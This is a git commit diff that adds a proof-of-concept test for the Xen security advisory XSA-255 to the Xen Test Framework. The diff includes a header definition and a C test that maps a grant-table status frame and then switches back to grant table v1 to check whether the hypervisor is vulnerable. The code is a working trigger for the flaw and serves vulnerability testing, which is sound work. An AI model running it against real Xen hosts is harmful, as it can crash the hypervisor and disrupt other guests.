]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-255 PoC
authorJan Beulich <jbeulich@suse.com>
Thu, 15 Feb 2018 17:28:09 +0000 (17:28 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 5 Apr 2018 13:17:21 +0000 (14:17 +0100)
Signed-off-by: Jan Beulich <jbeulich@suse.com>
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
include/xen/grant_table.h
tests/xsa-255/Makefile [new file with mode: 0644]
tests/xsa-255/main.c [new file with mode: 0644]

index 224e06b19935424ffbc5bfc487b9ec678db734a4..4831d1555d2e6dd9101ee6e45888d438f6154645 100644 (file)
@@ -112,6 +112,8 @@ guest breakout.
 
 @subpage test-xsa-239 - hypervisor stack leak in x86 I/O intercept code.
 
+@subpage test-xsa-255 - grant table v2 -> v1 transition may crash Xen.
+
 
 @section index-utility Utilities
 
index 4c2e3ad7f74eb401dbb8b2fc2ed1ddebb217718f..b61f4dbfb03118531dddbab49d2018696b3254e0 100644 (file)
@@ -310,6 +310,22 @@ struct gnttab_set_version {
     uint32_t version;
 };
 
+/*
+ * GNTTABOP_get_status_frames: Get the list of frames used to store grant
+ * status for <dom>. In grant format version 2, the status is separated
+ * from the other shared grant fields to allow more efficient synchronization
+ * using barriers instead of atomic cmpxchg operations.
+ */
+#define GNTTABOP_get_status_frames    9
+struct gnttab_get_status_frames {
+    /* IN parameters. */
+    uint32_t nr_frames;
+    domid_t  dom;
+    /* OUT parameters. */
+    int16_t  status;              /* => enum grant_status */
+    uint64_t *frame_list;
+};
+
 /*
  * Issue one or more cache maintenance operations on a portion of a
  * page granted to the calling domain by a foreign domain.
diff --git a/tests/xsa-255/Makefile b/tests/xsa-255/Makefile
new file mode 100644 (file)
index 0000000..8848438
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-255
+CATEGORY  := xsa
+TEST-ENVS := pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-255/main.c b/tests/xsa-255/main.c
new file mode 100644 (file)
index 0000000..647de51
--- /dev/null
@@ -0,0 +1,96 @@
+/**
+ * @file tests/xsa-255/main.c
+ * @ref test-xsa-255
+ *
+ * @page test-xsa-255 XSA-255
+ *
+ * Advisory: [XSA-255](http://xenbits.xen.org/xsa/advisory-255.html)
+ *
+ * The Grant Table v2 API has includes a set of status frames, which the guest
+ * is expected to map in addition to the regular grant frames.  These frames
+ * need freeing by Xen if a guest chooses to switch back to Grant Table v1.
+ * Such a transition would might occur when invoking a crash kernel.
+ *
+ * Before XSA-255, Xen failed to check for outstanding mappings of the status
+ * frames before freeing the underlying pages.
+ *
+ * Depending on the version of Xen, this might reliably hit a BUG() in the
+ * reference counting logic (and is at most a straight DoS), or may allow for
+ * the guest to cause worse problems via its writeable mapping to a reused
+ * page.
+ *
+ * @see tests/xsa-255/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-255 PoC";
+
+static uint8_t frame1[PAGE_SIZE] __page_aligned_bss;
+
+void test_main(void)
+{
+    int rc = xtf_init_grant_table(2);
+
+    if ( rc == -ENOENT )
+        return xtf_skip("Skip: Grant Table v2 not available\n");
+    if ( rc )
+        return xtf_error("Error initialising grant table: %d\n", rc);
+
+    /* Retrieve the status frames from Xen. */
+    uint64_t status_frames[1];
+    struct gnttab_get_status_frames gsf = {
+        .dom = DOMID_SELF,
+        .nr_frames = ARRAY_SIZE(status_frames),
+        .frame_list = status_frames,
+    };
+
+    rc = hypercall_grant_table_op(GNTTABOP_get_status_frames, &gsf, 1);
+    if ( rc || gsf.status )
+        return xtf_error("Error: unable to obtain status frames: %d,%d\n",
+                         rc, gsf.status);
+
+    /* Remap frame1 to point at the first status frame. */
+    rc = hypercall_update_va_mapping(
+        _u(frame1), pte_from_gfn(status_frames[0], PF_SYM(AD, P)), UVMF_INVLPG);
+    if ( rc )
+        return xtf_error("Error: unable to map status frame: %d\n", rc);
+
+    /* Switch back to Grant Table v1, implicitly freeing the status frames. */
+    struct gnttab_set_version version = { 1 };
+
+    rc = hypercall_grant_table_op(GNTTABOP_set_version, &version, 1);
+    switch ( rc )
+    {
+    case 0:
+        return xtf_failure("Fail: Vulnerable to XSA-255\n");
+
+    case -EBUSY:
+        /* Probably not vulnerable.  Try to confirm. */
+        break;
+
+    default:
+        return xtf_error("Error: Unexpected set_version result %d\n", rc);
+    }
+
+    /* Unmap the status frame. */
+    rc = hypercall_update_va_mapping(_u(frame1), 0, UVMF_INVLPG);
+    if ( rc )
+        return xtf_error("Error unmapping status frame: %d\n", rc);
+
+    /* Retry the switch back to Grant Table v1. */
+    rc = hypercall_grant_table_op(GNTTABOP_set_version, &version, 1);
+    if ( rc )
+        return xtf_error("Error setting gnttab version: %d\n", rc);
+
+    xtf_success("Success: Not vulnerable to XSA-255\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */